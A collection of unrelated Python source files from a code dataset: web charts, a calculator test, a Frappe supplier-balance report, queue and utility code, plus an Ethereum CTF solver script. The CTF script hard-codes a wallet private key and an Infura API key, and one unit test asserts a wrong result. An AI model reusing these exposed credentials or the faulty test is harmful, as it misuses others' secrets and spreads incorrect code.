fields=['brand'], bind=brand_dropdown, name=\"Brand\")\r\n\r\n    chart = alt.Chart(nov_funnel_by_brand, title='Novemeber:Conversion for top 10 brands').mark_bar().encode(\r\n        x=alt.X('event_type:N', sort=('view', 'cart', 'purchase')),\r\n        y=alt.Y('funnel_value:Q'),\r\n        column='brand:O'\r\n    ).properties(\r\n        width=200,\r\n        height=300\r\n    ).resolve_scale(y='independent').add_selection(\r\n        brand_select\r\n    ).transform_filter(\r\n        brand_select\r\n    ).properties(title=\"Select a Brand to Highlight It\")\r\n    return chart.to_json()\r\n\r\n\r\n'''Recommendation'''\r\n@app.route('/nearest-items/<item_id>')\r\ndef get_nearest_items(item_id):\r\n    df = data_analysis.find_nearest_item(int(item_id))\r\n    return df.to_json()","sub_path":"flask-app/productRight.py","file_name":"productRight.py","file_ext":"py","file_size_in_byte":4380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"600839306","text":"from unittest import TestCase\r\nfrom Clac import Calc\r\n\r\nclass Testminus(TestCase):\r\n    def testminus1(self):\r\n        num1=10\r\n        num2=3\r\n        num=7\r\n\r\n        d=Calc()\r\n        m=d.minus(num1,num2)\r\n\r\n        self.assertEqual(num,m)\r\n\r\n    def testminus2(self):\r\n        num1=-10\r\n        num2=-9\r\n        num=-1\r\n\r\n        d=Calc()\r\n        m=d.minus(num1,num2)\r\n        self.assertEqual(num,m)\r\n\r\n    def testminus3(self):\r\n        num1=10\r\n        num2=-10\r\n        num=9\r\n\r\n        d=Calc()\r\n        m=d.minus(num1,num2)\r\n        self.assertEqual(num,m)\r\n    def teatminus4(self):\r\n        num1=-10\r\n        num2=2\r\n        num=-12\r\n\r\n        d=Calc()\r\n        m=d.minus(num1,num2)\r\n        self.assertEqual(num,m)\r\n\r\n    def testminus5(self):\r\n        num1=999999999999999999999999\r\n        num2=1\r\n        num=999999999999999999999998\r\n\r\n        d=Calc()\r\n        S=d.minus(num1,num2)\r\n        self.assertEqual(num,S)","sub_path":"day12/Testminus.py","file_name":"Testminus.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"181907367","text":"from pwn import *\nfrom web3 import Web3, HTTPProvider\nfrom solc import compile_files\nimport os\nimport time\n\nmyAddress = '0xB3580FB6944BC704149CE71DF2247897755Ba7d7'\nmyKey = '0x7613f3f0e75e124b78280cde672d5870ea87ebdea19aca556e1c6a720e8fbe82'\nw3 = Web3(HTTPProvider(r'https://ropsten.infura.io/v3/6a17ad8ec1ff4b5c97d809725b515aac'))\n\ndef call(function, value):\n    txn = function.buildTransaction({'value': w3.toWei(value, 'ether'), 'nonce': w3.eth.getTransactionCount(myAddress), 'gas': int(w3.eth.getBlock(\"latest\").gasLimit * 0.9), 'gasPrice': w3.toWei('1000', 'gwei')})\n    sign = w3.eth.account.sign_transaction(txn, myKey)\n    return w3.eth.sendRawTransaction(sign.rawTransaction)\n\nos.environ['SOLC_BINARY'] = '/mnt/c/Users/B10515025/Desktop/NTUST_CTF/HW3/solc.exe'\nALL_OUTPUT_VALUES = (\"abi\", \"asm\", \"ast\", \"bin\", \"bin-runtime\", \"devdoc\", \"interface\", \"opcodes\", \"userdoc\",)\nGetStarted_sol = compile_files(['./GetStarted.sol'], output_values = ALL_OUTPUT_VALUES)\n\nserver = remote('140.112.31.97',30002)\nserver.recvuntil('Address : ')\nFactoryAddress = server.recvn(42).decode()\nprint(f\"Factory Address: {FactoryAddress}\")\nserver.recvuntil('validate(')\ntoken = server.recvn(66).decode()\nprint(f\"token: {token}\")\nserver.recvuntil('----- flag will appear below -----')\nGetStartedFactory = w3.eth.contract(address = FactoryAddress, abi = GetStarted_sol['./GetStarted.sol:GetStartedFactory']['abi'])\n\nhash = call(GetStartedFactory.functions.create(), 0)\nwhile True:\n    try:\n        w3.eth.getTransactionReceipt(hash)\n        break\n    except:\n        time.sleep(1)\nchallenge = GetStartedFactory.functions.instances(myAddress).call()\nprint(f\"Challenge Address: {challenge}\")\nGetStarted = w3.eth.contract(address = challenge, abi = GetStarted_sol['./GetStarted.sol:GetStarted']['abi'])\n\nhash = call(GetStarted.functions.callme(), 0)\nwhile True:\n    try:\n        w3.eth.getTransactionReceipt(hash)\n        break\n    except:\n        time.sleep(1)\n\nhash = call(GetStartedFactory.functions.validate(int(token, 16)), 0)\nprint(\"Validating...\")\nwhile True:\n    try:\n        w3.eth.getTransactionReceipt(hash)\n        break\n    except:\n        time.sleep(1)\n\nflag = server.recvline().decode()\nwhile len(flag) == 1:\n    time.sleep(1)\n    flag = server.recvline().decode()\nprint(flag)","sub_path":"HW3/Get Started/GetStarted.py","file_name":"GetStarted.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"605005038","text":"## lopping ten times using _\nfor _ in range(5):\n    print(_)\n\n## iterating over a list using _\n## you can use _ same as a variable\nlanguages = [\"Python\", \"JS\", \"PHP\", \"Java\"]\nfor _ in languages:\n    print(_)\n\n_ = 5\nwhile _ < 10:\n    print(_, end = ' \\n') # default value of 'end' id '\\n' in python. we're changing it to space\n    _ += 1\n\n##############################################3\n# _single_pre_underscore\n# used for internal use. Most of us don't use it because of that reason.\n\nclass Test:\n\n    def __init__(self):\n        self.name = \"datacamp\"\n        self._num = 7\n\nobj = Test()\nprint(obj.name)\nprint(obj._num)","sub_path":"topics/underscore.py","file_name":"underscore.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"606714008","text":"# ------------------------------------------------------------------------------\n# Python API to access CodeHawk Binary Analyzer analysis results\n# Author: Henny Sipma\n# ------------------------------------------------------------------------------\n# The MIT License (MIT)\n#\n# Copyright (c) 2016-2019 Kestrel Technology LLC\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n# ------------------------------------------------------------------------------\n\nimport json\nimport os\nimport xml.etree.ElementTree as ET\n\nfrom scs.x86x.util.Config import Config\n\nclass KTError(Exception):\n\n    def wrap(self):\n        lines = []\n        lines.append('*' * 80)\n        lines.append(self.__str__())\n        lines.append('*' * 80)\n        return '\\n'.join(lines)\n\nclass KTFileNotFoundError(KTError):\n\n    def __init__(self,filename):\n        KTError.__init__(self,\"File \" + filename + \" not found\")\n        self.filename = filename\n\n\nclass KTXmlParseError(KTError):\n\n    def __init__(self,filename,errorcode,position):\n        KTError.__init__(self,'Xml parse error')\n        self.filename = filename\n        self.errorcode = errorcode\n        self.position = position\n\n    def __str__(self):\n        return ('XML parse error in ' + filename + ' (errorcode: '\n                    + str(self.errorcode) + ') at position ' + str(self.position))\n\nclass KTJsonParseError(KTError):\n\n    def __init__(self,filename,e):\n        KTError.__init__(self,'Json Parse Error')\n        self.filename = filename\n        self.valueerror = e\n\n    def __str__(self):\n        return 'JSON parse error in file: ' + self.filename + ': ' + str(self.valueerror)\n\n\ndef get_ioc_featurenames_file():\n    filename = os.path.join(Config().featuresdir,'ioc_feature_names.json')\n    if not os.path.isfile(filename):\n        raise KTFileNotFoundError(filename)\n    try:\n        with open(filename,'r') as fp:\n            return json.load(fp)\n    except ValueError as error:\n        raise KTJsonParseError(filename,error)\n\ndef get_project_dictionary(path,filename):\n    filename = os.path.join(path,filename)\n    if os.path.isfile(filename):\n        with open(filename,'r') as fp:\n            executables = json.load(fp)\n            return executables['executables']\n    raise KTCHBFileNotFoundError('File does not exist: ' + filename)\n\ndef get_executable_dir(path,xfile):\n    xdir = os.path.join(path,xfile + '.ch')\n    return os.path.join(xdir,'x')\n\ndef get_statistics_dir(path,xfile):\n    return os.path.join(path,xfile + '.chs')\n\ndef get_pe_header_filename(path,xrec):\n    try:\n        path = os.path.join(path,xrec['path'])\n        xfile = xrec['file']                            \n        xxfile = xfile.replace('.','_')\n        fdir = get_executable_dir(path,xfile)\n        return os.path.join(fdir,xxfile + '_pe_header.xml')\n    except Exception as e:\n        print(str(e))\n        print(str(xrec))\n        raise\n\ndef get_features_filename(path,xrec):\n    try:\n        path = os.path.join(path,xrec['path'])\n        xfile = xrec['file']\n        xxfile = xfile.replace('.','_')\n        fdir = get_statistics_dir(path,xfile)\n        return os.path.join(fdir,xxfile + '_features.json')\n    except Exception as e:\n        print(str(e))\n        print(str(xrec))\n        raise\n\ndef get_results_dir(path,xfile):\n    rdir = os.path.join(path,xfile + '.ch')\n    return os.path.join(rdir,'results')\n\ndef get_xmd5_filename(path,xrec):\n    path = os.path.join(path,xrec['path'])\n    xfile = xrec['file']\n    xxfile = xfile.replace('.','_')\n    return os.path.join(get_results_dir(path,xfile),xxfile + '_md5.json')\n\ndef get_metadata_filename(key,xrec):\n    vtmetadir = Config().vtmetadir\n    if vtmetadir is None:\n        print('Metadata directory not available')\n        exit(1)\n    sha256 = xrec['sha256'] if 'sha256' in xrec else xrec['sha-256']\n    shadir = os.path.join(sha256[0],os.path.join(sha256[1],sha256[2]))\n    path = os.path.join(vtmetadir,shadir)\n    return os.path.join(path,key + '_vtmeta')\n\ndef get_fnmd5_dict(path,xrec):\n    filename = get_xmd5_filename(path,xrec)\n    if os.path.isfile(filename):\n        with open(filename,'r') as fp:\n            functionmd5s = json.load(fp)\n            return functionmd5s['md5s']\n    return {}\n\ndef get_pe_xnode(path,xrec):\n    filename = get_pe_header_filename(path,xrec)\n    if os.path.isfile(filename):\n        try:\n            tree = ET.parse(filename)\n            peheader = tree.getroot().find('pe-header')\n        except ET.ParseError as e:\n            raise KTCHBXmlParseError(filename,e.code,e.position)\n        return peheader\n    else:\n        raise KTCHBFileNotFoundError('File not found: ' + filename)\n\ndef get_semantic_features(path,xrec):\n    filename = get_features_filename(path,xrec)\n    if os.path.isfile(filename):\n        with open(filename,'r') as fp:\n            return json.load(fp)\n    else:\n        return {}\n\ndef get_vtmetadata_dict(key,xrec):\n    filename = get_metadata_filename(key,xrec)\n    if os.path.isfile(filename):\n        with open(filename,'r') as fp:\n            vtmetadata = json.load(fp)\n        print(str(vtmetadata.keys()))\n        print(str(vtmetadata['results'].keys()))\n        return vtmetadata['results']\n    return {}\n\n\"\"\"\nCreate (if necessary) the three toplevel directories of the index and the\nadministration file in directory d.\n\"\"\"\ndef create_index_directories(d):\n    if not os.path.exists(d):\n        os.makedirs(d)\n    if not os.path.exists(os.path.join(d,'docindex')): os.makedirs(os.path.join(d,'docindex'))\n    if not os.path.exists(os.path.join(d,'vocabulary')): os.makedirs(os.path.join(d,'vocabulary'))\n    if not os.path.exists(os.path.join(d,'postings')): os.makedirs(os.path.join(d,'postings'))\n\n\"\"\"\nLoad docindex json files.\n\"\"\"\ndef load_docindex_file(d,name):\n    ddict = {}\n    if d == None: return ddict\n    filename = os.path.join(os.path.join(d,'docindex'),name + '.json')\n    if os.path.isfile(filename):\n        with open(filename,'r') as fp:\n            ddict.update(json.load(fp))\n    else:\n        print('docindex file ' + filename + ' not found')\n    return ddict\n\ndef load_xmd5_index(d): return load_docindex_file(d,'xmd5s')\n\ndef load_xmd5_xref(d): return load_docindex_file(d,'xmd5xref')\n\ndef load_vocabulary(d):\n    ddict = {}\n    if d == None: return ddict\n    fdir = os.path.join(d,'vocabulary')\n    if os.path.exists(fdir):\n        for f in os.listdir(fdir):\n            filename = os.path.join(fdir,f)\n            featuresetname = f.replace('.json','')\n            with open(filename,'r') as fp:\n                ddict[featuresetname] = json.load(fp)\n    return ddict\n\ndef load_postings_files(d):\n    ddict = {}\n    if d == None: return ddict\n    fdir = os.path.join(d,'postings')\n    if os.path.isdir(fdir):\n        files = os.listdir(fdir)\n        for f in files:\n            if f.endswith('_documents.json'): continue\n            featuresetname = f.replace('.json','')\n            with open(os.path.join(fdir,f)) as fp:\n                ddict[featuresetname] = json.load(fp)\n    return ddict\n\ndef save_postings_files(d,ddict):\n    fdir = os.path.join(d,'postings')\n    for fs in ddict:\n        filename = os.path.join(fdir,fs + '.json')\n        with open(filename,'w') as fp:\n            json.dump(ddict[fs],fp)\n\n\"\"\"\nsave docindex json files\n\"\"\"\ndef save_docindex_file(d,name,ddict):\n    if not ddict is None:\n        filename = os.path.join(os.path.join(d,'docindex'),name + '.json')\n        with open(filename,'w') as fp:\n            json.dump(ddict,fp,sort_keys=True,indent=3)\n    else:\n        print('Docindex file for ' + name + ' not saved: found None')\n\ndef save_xmd5_index(d,ddict): save_docindex_file(d,'xmd5s',ddict)\n\ndef save_xmd5_xref(d,ddict): save_docindex_file(d,'xmd5xref',ddict)\n\ndef save_vocabulary(d,ddict):\n    fdir = os.path.join(d,'vocabulary')\n    if not os.path.exists(fdir):\n        os.makedirs(fdir)\n    for fs in ddict:\n        filename = os.path.join(fdir,fs + '.json')\n        with open(filename,'w') as fp:\n            json.dump(ddict[fs],fp,sort_keys=True,indent=3)\n\ndef save_similar(results, filename):\n    results_dict = {}\n    for m in sorted(results['exes'],key=lambda m:(m['score'],m['name'][0]),reverse=True):\n        results_dict[ ','.join([ str(x) for x in m['name']]) ] = m['score']\n    with open(filename,'w') as fp:\n        json.dump(results_dict, fp, sort_keys=True, indent=3)\n","sub_path":"scs/x86x/util/fileutil.py","file_name":"fileutil.py","file_ext":"py","file_size_in_byte":9321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"513774064","text":"import threading\n\n\ndef to_num(s):\n    try:\n        return int(s)\n    except ValueError:\n        return float(s)\n\n\ndef get_data_from_connection(conn):\n    \"\"\"\n    protocol spec\n    :param conn:\n    :return:\n    \"\"\"\n    len_data_part = conn.recv(8)\n    if len_data_part:\n        data_len = to_num(len_data_part)\n        data = conn.recv(data_len)\n        if data:\n            return data\n        else:\n            print(\"Fail read data\")\n            return None\n    else:\n        print(\"Fail read data len\")\n        return None\n\n\ndef send_data_to_connection(conn, data):\n    \"\"\"\n    protocol spec\n    :param conn:\n    :param data:\n    :return:\n    \"\"\"\n    try:\n        conn.sendall(data)\n    except:\n        print(\"Fail send all data to connection\")\n\n\nclass ConnectionHandler:\n\n    def __init__(self, processor):\n        self.processor = processor\n        self.connections = []\n\n    def handle_connection(self, conn):\n        thr = threading.Thread(target=self.start_communication, args=(conn,))\n        thr.start()\n        self.connections.append(thr)\n\n    def wait_all_done(self):\n        for item in self.connections:\n            item.join()\n\n    def start_communication(self, conn):\n        while True:\n            data = get_data_from_connection(conn)\n            if data:\n                result = self.processor.get_result(data)\n                send_data_to_connection(conn, result)\n            else:\n                print(\"No media data for processing, break connection\")\n                break\n","sub_path":"media_server/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"273993137","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2019, Havenir and contributors\n# For license information, please see license.txt\n\nfrom __future__ import unicode_literals\nimport frappe\nfrom frappe.model.document import Document\nfrom erpnext.accounts.utils import get_balance_on\nimport xlsxwriter\nfrom datetime import date, datetime\nimport io\nfrom datetime import date, datetime\nfrom frappe.utils import today,date_diff\nfrom string import ascii_uppercase\nimport json\n\n\nclass SupplierBalanceReportGenerator(Document):\n    pass\n\n\n@frappe.whitelist()\ndef generate_supplier_balance(data=None):\n    data = json.loads(data)\n    file_name = get_file_name(data)\n\n    workbook = xlsxwriter.Workbook(\n        '{0}'.format(file_name))\t\t\t# Creating a xlsx file\n    worksheet = workbook.add_worksheet(\n        name='supplier-balance')\t\t    # Adding new worksheet\n    \n    # Setting row heights\n    worksheet.set_row(0, 20.25)\n    worksheet.set_row(1, 20.25)\n    worksheet.set_row(2, 20.25)\n    \n    # Setting column widths\n    worksheet.set_column(3, 0, 30.5)        # Parties\n    worksheet.set_column(3, 1, 17.78)       # Last Comparison Date\n    worksheet.set_column(3, 2, 17.78)       # Last Payment Date\n    worksheet.set_column(3, 3, 12.65)       # Last Paid\n    worksheet.set_column(3, 4, 12.65)       # Outstanding\n    \n    # Creating Border formats\n    cell_format_font_14 = workbook.add_format(\n        {'bold': True, 'font': 'Calibri', 'font_size': 11})\n    cell_format_font_14.set_border()\n    cell_format_font_14.set_align('vcenter')\n    cell_format_font_14.set_align('center')\n    format6 = workbook.add_format(\n        {'num_format': 'dd/mm/yyyy hh:mm AM/PM', 'bold': True})\n    # Creating Merge format\n    merge_right = workbook.add_format(\n        {'align': 'right', 'bold': True, 'font': 'Calibri', 'font_size': 11})\n    merge_right.set_border()\n    merge_right.set_align('vcenter')\n    merge_center = workbook.add_format(\n        {'align': 'center', 'bold': True, 'font': 'Calibri', 'font_size': 11})\n    merge_center.set_border()\n    merge_center.set_align('vcenter')\n\n    # Format for Matched Balances\n    matched_format_arial = workbook.add_format(\n        {'align': 'center', 'bold': True, 'font': 'Arial', 'font_size': 10, 'num_format': '#,##,###'})\n    matched_format_arial.set_align('vcenter')\n    matched_format_arial.set_border()\n    matched_format_arial.set_bg_color('#a3f7bf')\n\n    # Format for Matched Balances Till date\n    matched_format_arial_date = workbook.add_format(\n        {'align': 'center', 'bold': True, 'font': 'Arial', 'font_size': 10, 'num_format': '#,##,###'})\n    matched_format_arial_date.set_align('vcenter')\n    matched_format_arial_date.set_border()\n    matched_format_arial_date.set_bg_color('#a3f7bf')\n    matched_format_arial_date.set_num_format('d mmmm yyyy')\n\n    # Format for Danger Balances\n    danger_format_arial_date = workbook.add_format(\n        {'align': 'center', 'bold': True, 'font': 'Arial', 'font_size': 10, 'num_format': '#,##,###'})\n    danger_format_arial_date.set_align('vcenter')\n    danger_format_arial_date.set_border()\n    danger_format_arial_date.set_bg_color('#ffafb0')\n    danger_format_arial_date.set_num_format('d mmmm yyyy')\n\n    # Format for Caution\n    caution_format_arial_date = workbook.add_format(\n        {'align': 'center', 'bold': True, 'font': 'Arial', 'font_size': 10, 'num_format': '#,##,###'})\n    caution_format_arial_date.set_align('vcenter')\n    caution_format_arial_date.set_border()\n    caution_format_arial_date.set_bg_color('#fbe555')\n    caution_format_arial_date.set_num_format('d mmmm yyyy')\n\n    # Todays Time and date\n    now = datetime.now()\n    worksheet.write(0, 0,  now.strftime(\"%B %d, %Y %H:%M:%S\"), format6)\n\n    # Creating Party String\n    partystr = ''\n    if data['supplier_group'] not in ['', None]:\n        partystr = 'Supplier Group: {0} | '.format(data['supplier_group'])\n    if data['supplier_type'] not in ['', None]:\n        partystr += 'Supplier Type: {0} | '.format(data['supplier_type'])\n\n    worksheet.merge_range('B1:E1', partystr, merge_right)\n\n    # Creating balance string\n    balancestr = ''\n    if data['all_balances'] == 1 and data['get_advances'] == 0:\n        balancestr = 'All Balances'\n    elif data['all_balances'] == 1 and data['get_advances'] == 1:\n        balancestr = 'All Advances'\n    elif data['all_balances'] == 0 and data['get_advances'] == 0:\n        balancestr = 'Balance less than ' + str(data['balance_less_than'])\n    elif data['all_balances'] == 0 and data['get_advances'] == 1:\n        balancestr = 'Advances less than ' + str(data['balance_less_than'])\n    worksheet.merge_range('A2:E2', balancestr, merge_center)\n\n    # Creating Balance section\n    cell_format = workbook.add_format(\n        {'align': 'center', 'bold': True, 'font': 'Calibri', 'font_size': 11})\n    cell_format.set_border()\n    cell_format.set_align('vcenter')\n    worksheet.write(2, 0, 'Parties', cell_format)\n    cell_format = workbook.add_format(\n        {'align': 'center', 'bold': True, 'font': 'Calibri', 'font_size': 9})\n    cell_format.set_border()\n    cell_format.set_align('vcenter')\n    worksheet.write(2, 1, 'LAST COMPAIRED', cell_format)\n    worksheet.write(2, 2, 'LAST PAID DATE', cell_format)\n    worksheet.write(2, 3, 'LAST PAID', cell_format)\n    cell_format = workbook.add_format(\n        {'align': 'center', 'bold': True, 'font': 'Arial', 'font_size': 9})\n    cell_format.set_align('vcenter')\n    cell_format.set_border()\n    worksheet.write(2, 4, 'OUTSTANDING', cell_format)\n\n    cell_format_arial = workbook.add_format(\n        {'align': 'center', 'bold': True, 'font': 'Arial', 'font_size': 10, 'num_format': '#,##,###'})\n    cell_format_arial.set_align('vcenter')\n    cell_format_arial.set_border()\n    cell_format_arial_date = workbook.add_format(\n        {'align': 'center', 'bold': True, 'font': 'Arial', 'font_size': 10})\n    cell_format_arial_date.set_align('vcenter')\n    cell_format_arial_date.set_border()\n    cell_format_arial_date.set_num_format('d mmmm yyyy')\n    cell_format_comic_sans_ms = workbook.add_format(\n        {'align': 'left', 'bold': True, 'font': 'Calibri', 'font_size': 10})\n    cell_format_comic_sans_ms.set_align('vcenter')\n    cell_format_comic_sans_ms.set_border()\n    current_row = 3\n\n    # Adding up balances\n    supplier_list = frappe.db.get_list('Supplier', filters={'disabled': 'No'}, fields=[\n                                       'name'], page_length=2000000000, order_by='name')\n    balances = get_balances(data, supplier_list)\n\n    # Arranging list\n    for i in range(len(balances)):\n        j = 0\n        while i+j < len(balances):\n            if balances[i]['balance'] > balances[i+j]['balance']:\n                a = balances[i]['name']\n                balances[i]['name'] = balances[i+j]['name']\n                balances[i+j]['name'] = a\n                a = balances[i]['balance']\n                balances[i]['balance'] = balances[i+j]['balance']\n                balances[i+j]['balance'] = a\n            j +=1\n    # Inserting data into Sheet\n    for balance in balances:\n        sup = frappe.db.get_list('Supplier', filters={'name': balance['name']}, fields=[\n                                 'supplier_group', 'supplier_type', 'last_balance_comparison_date', 'balance_matched', 'last_payment_date', 'last_payment_amount'])\n        goahead = 1\n        if data['supplier_group'] not in ['', None]:\n            if sup[0].supplier_group != data['supplier_group']:\n                goahead = 0\n        if data['supplier_type'] not in ['', None]:\n            if sup[0].supplier_type != data['supplier_type']:\n                goahead = 0\n        if goahead == 1:\n            worksheet.set_row(current_row, 19.5)\n            # name,last_payment_date,last_payment_amount,balance\n            worksheet.write(current_row, 0, balance['name'],\n                            cell_format_comic_sans_ms)\n            if sup[0].last_balance_comparison_date == None:\n                worksheet.write(current_row, 1, '-',\n                                cell_format_arial_date)\n            else:\n                if sup[0].balance_matched in ['Matched till last comparison date','Matched']:\n                    if frappe.utils.date_diff(frappe.utils.today(),sup[0].last_balance_comparison_date)>30:\n                        worksheet.write(\n                            current_row, 1, sup[0].last_balance_comparison_date, caution_format_arial_date)\n                    else:     \n                        worksheet.write(\n                            current_row, 1, sup[0].last_balance_comparison_date, matched_format_arial_date)\n                elif sup[0].balance_matched in ['Not Matched']:\n                    worksheet.write(\n                        current_row, 1, sup[0].last_balance_comparison_date, danger_format_arial_date)\n                else:\n                    worksheet.write(\n                        current_row, 1, sup[0].last_balance_comparison_date, cell_format_arial_date)\n            if sup[0].last_payment_date == None:\n                worksheet.write(current_row, 2, '-',\n                                cell_format_arial_date)\n            else:\n                worksheet.write(\n                    current_row, 2, sup[0].last_payment_date, cell_format_arial_date)\n            if sup[0].last_payment_amount == None or sup[0].last_payment_amount == 0:\n                worksheet.write(current_row, 3, '-', cell_format_arial)\n            else:\n                worksheet.write(\n                    current_row, 3, sup[0].last_payment_amount, cell_format_arial)\n            if sup[0].balance_matched == 'Matched':\n                worksheet.write(\n                    current_row, 4, balance['balance'], matched_format_arial)\n            else:\n                worksheet.write(\n                    current_row, 4, balance['balance'], cell_format_arial)\n            current_row += 1\n\n    workbook.close()\n\n\ndef get_file_name(data=None):\n    if data['all_balances'] == 0 and data['get_advances'] == 0:\n        filestr = '/tmp/supplier_balance_{0}.xlsx'.format(\n            data['balance_less_than'])\n    elif data['all_balances'] == 0 and data['get_advances'] == 1:\n        filestr = '/tmp/supplier_advances_{0}.xlsx'.format(\n            data['balance_less_than'])\n    elif data['all_balances'] == 1 and data['get_advances'] == 0:\n        filestr = '/tmp/supplier_balance.xlsx'\n    elif data['all_balances'] == 1 and data['get_advances'] == 1:\n        filestr = '/tmp/supplier_advances.xlsx'\n    return filestr\n\n\ndef get_balances(data, supplier_list):\n    balances = []\n    temp_dict = {}\n    for supplier in supplier_list:\n\n        temp_dict['name'] = supplier.name\n        temp_dict['balance'] = -get_balance_on(date=date.today(\n        ), party_type='Supplier', party=supplier.name, company=data['company'])\n\n        if data['all_balances'] == 0 and data['get_advances'] == 0:\n            if data['balance_less_than']>=temp_dict['balance']>0:\n                balances.append(temp_dict)\n        if data['all_balances'] == 0 and data['get_advances'] == 1:\n            if data['balance_less_than']<=temp_dict['balance']<0:\n                balances.append(temp_dict)\n        if data['all_balances'] == 1 and data['get_advances'] == 0:\n            if temp_dict['balance']>0:\n                balances.append(temp_dict)\n        if data['all_balances'] == 1 and data['get_advances'] == 1:\n            if temp_dict['balance']!=0:\n                balances.append(temp_dict)\n        temp_dict = {}\n\n    return balances\n\n\n@frappe.whitelist()\ndef generate_xlsx_supplier_balance():\n    doc = frappe.get_doc('Supplier Balance Report Generator')\n    file_path = get_file_name_xlsx(\n        doc.balance_less_than, doc.get_advances, doc.all_balances)\n    file_name = get_download_file_name(doc.balance_less_than, doc.get_advances, doc.all_balances)\n    file = io.open(file_path, \"rb\", buffering=0)\n    data = file.read()\n    if not data:\n        frappe.msgprint(('No Data'))\n        return\n    frappe.local.response.filecontent = data\n    frappe.local.response.type = \"download\"\n    frappe.local.response.filename = file_name\n\n\ndef get_download_file_name(balance_less_than, get_advances, all_balances):\n    filestr = None\n    if all_balances == 0 and get_advances == 0:\n        filestr = 'supplier_balance_{0}.xlsx'.format(balance_less_than)\n    elif all_balances == 0 and get_advances == 1:\n        filestr = 'supplier_advances_{0}.xlsx'.format(balance_less_than)\n    elif all_balances == 1 and get_advances == 0:\n        filestr = 'supplier_balance.xlsx'\n    elif all_balances == 1 and get_advances == 1:\n        filestr = 'supplier_advances.xlsx'\n    return filestr\n\n\ndef get_file_name_xlsx(balance_less_than, get_advances, all_balances):\n    filestr = None\n    if all_balances == 0 and get_advances == 0:\n        filestr = '/tmp/supplier_balance_{}.xlsx'.format(balance_less_than)\n    elif all_balances == 0 and get_advances == 1:\n        filestr = '/tmp/supplier_advances_{}.xlsx'.format(balance_less_than)\n    elif all_balances == 1 and get_advances == 0:\n        filestr = '/tmp/supplier_balance.xlsx'\n    elif all_balances == 1 and get_advances == 1:\n        filestr = '/tmp/supplier_advances.xlsx'\n    return filestr\n","sub_path":"steelpipes/sp_purchase_invoice/doctype/supplier_balance_report_generator/supplier_balance_report_generator.py","file_name":"supplier_balance_report_generator.py","file_ext":"py","file_size_in_byte":13170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"130314580","text":"SIZE=5\nVALUES=[None]*SIZE\nHEAD=-1\nTAIL=-1\n\ndef enQueue(value:int):\n    global HEAD\n    global TAIL\n    global VALUES\n    if(TAIL == SIZE-1):\n        print(\"Nuestro Queue esta lleno\\n\" )\n    else:\n        if(HEAD==-1):\n            HEAD = 0\n        TAIL+=1\n        VALUES[TAIL]=value\n        print(f\"Se inserto el valor {value} correctamente\\n\")\n\ndef deQueue():\n    global HEAD\n    global TAIL\n    global VALUES\n    if(HEAD == -1):\n        print(\"Nuestro Queue esta vacio\\n\" )\n    else:\n        print(f\"se elimino el valor {VALUES[HEAD]}\\n\")\n        HEAD+=1\n        if(HEAD > TAIL):\n            HEAD = TAIL = -1\n\n\n\nenQueue(10)\nenQueue(22)\nenQueue(13)\nenQueue(44)\nenQueue(56)\ndeQueue()\ndeQueue()\ndeQueue()\ndeQueue()\ndeQueue()\nenQueue(10)","sub_path":"Retos/UserDefinedData/queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"450625655","text":"\"\"\"\r\nMotu is playing a game. In this game he has given N boxes. First box contains exactly P ball(s) and last box contains exactly Q ball(s). He needs to fill the rest boxes with the following conditions :\r\n\r\na) Each box contain balls between 1 to K (inclusive)\r\n\r\nb) Adjacent boxes must contain distinct number of balls\r\n\r\nAs Motu is only good in eating, so he is not able to find the number of ways to fill the boxes. Help him in calculating the number of ways to fill the boxes with given conditions. You are given N, K, P, Q.\r\n\r\nInput:\r\n-The first line of input contain a single integer T denoting the number of test cases.\r\n\r\n-For each test case there are four space-separated integers N, K ,P and Q.\r\n\r\nOutput:\r\nFor each testcase, output in a single line , the number of ways to fill the boxes modulo 1000000007.\r\n\r\nConstraints\r\n1≤T≤100\r\n3≤N≤105\r\n2≤K≤105\r\n1≤P≤K\r\n1≤Q≤K\r\nSample Input:\r\n1\r\n4 3 2 3\r\n\r\nSample Output:\r\n3\r\n\r\n\"\"\"\r\ndef sol_dp(n, k, p, q):\r\n    MOD = 1000000007\r\n    nq = 1 if p == q else 0  # nb finishing by q\r\n    noq = 0 if p == q else 1  # nb NOT finishing by q\r\n    for _ in range(n - 1):\r\n        nq, noq = noq, ((k - 1) * nq + (k - 2) * noq) % MOD\r\n    return nq\r\n\r\n\r\ndef main():\r\n    